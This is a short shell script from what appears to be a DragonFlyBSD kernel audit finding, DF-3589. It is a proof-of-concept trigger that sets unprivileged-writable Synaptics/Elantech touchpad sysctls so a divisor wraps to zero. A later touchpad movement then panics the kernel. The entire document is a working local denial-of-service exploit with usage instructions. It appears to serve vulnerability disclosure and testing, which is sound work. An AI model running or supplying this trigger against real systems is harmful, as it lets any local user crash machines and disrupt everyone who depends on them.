⬢ DragonFlyBSD Kernel Audit
DF-3589 / trigger.sh
← back to finding ↓ download raw
#!/bin/sh
# DF-3589 trigger for real Synaptics/Elantech hardware (any local user).
#
# 1. set the three unprivileged-writable sysctls so that the smoother
#    divisor `div_x * multiplicator` wraps to exactly 0
# 2. touch/move a finger on the touchpad; the 4th-ish movement packet
#    executes the division and panics the kernel.
#
# (On hardware with an Elantech pad the nodes are named
#  hw.psm.elantech.* instead -- same handler, same values.)
set -e
sysctl hw.psm.synaptics.multiplicator=65536
sysctl hw.psm.synaptics.div_min=65536
sysctl hw.psm.synaptics.div_max=65536
sysctl hw.psm.synaptics.window_min=1	# reach the division on packet #1
echo "now move a finger on the touchpad -> kernel panic (divide by zero)"